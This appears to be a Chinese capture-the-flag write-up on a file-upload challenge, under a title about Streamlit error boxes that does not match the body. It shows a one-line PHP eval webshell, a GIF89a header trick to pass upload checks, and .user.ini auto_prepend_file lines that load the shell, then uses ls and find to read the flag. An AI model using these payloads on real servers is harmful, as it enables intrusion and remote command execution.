Streamlit 错误框内嵌 “Install skills“ 引导:在报错瞬间引导开发者安装 Agent Skills
2026/9/19 8:00:45
本次使用到的知识点如下:
.user.ini文件的作用:
.user.ini是PHP的用户级配置文件,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
auto_prepend_file:在每个 PHP 文件开头自动插入另一个文件
auto_append_file:在每个 PHP 文件结尾自动插入另一个文件auto_prepend_file=shell.jpg auto_append_file=/tmp/evil.php
- jepg的文件头部:
GIF89a, 可以通过这个文件头部绕过文件内容的检查(网站常规的检查方式包括:前端判断后缀名,前端检查文件头部、后端通过请求头中的content-type, 后端文件名后缀、以及后端检查文件头部的内容)
- 对于前端检查,都可以很容易通过抓包的方式轻易绕过
- 对于后端的检查,我们只能尽量满足它的需求,后缀检查我们就只能让后缀符合要求,或者文件头部符合要求。
题目就两个按钮一个选择文件,另一个提交。
由于这个题目是我第一次接触文件上传相关的漏洞,因此我自己尝试了一下就看题解了。
对于文件上传漏洞我总结了下面的思路:
GIF89a<?=eval($_GET['test'])?>其反馈的结果如下图所示,还直接的告诉了我们上传的文件的路径/uploads/xxx!!!
这个就是用到了.user.ini文件的功能了,当服务器配置了这个功能的使用的时候,我们这个配置文件通过下面的配置,可以在每一个当前目录下的php文件的开头处导入我们配置的文件。
GIF89aauto_prepend_file=test.jpg接下来就是传递我们想要执行的命令了!!!
由于前面我们的一句话木马是<?=eval($_GET['test'])?>, 因此我们在get参数中传递我们需要的命令即可,使用ls命令看看是否能执行,结果如下:
使用find命令找到可疑的文件,如下:
查看flag文件,得到结果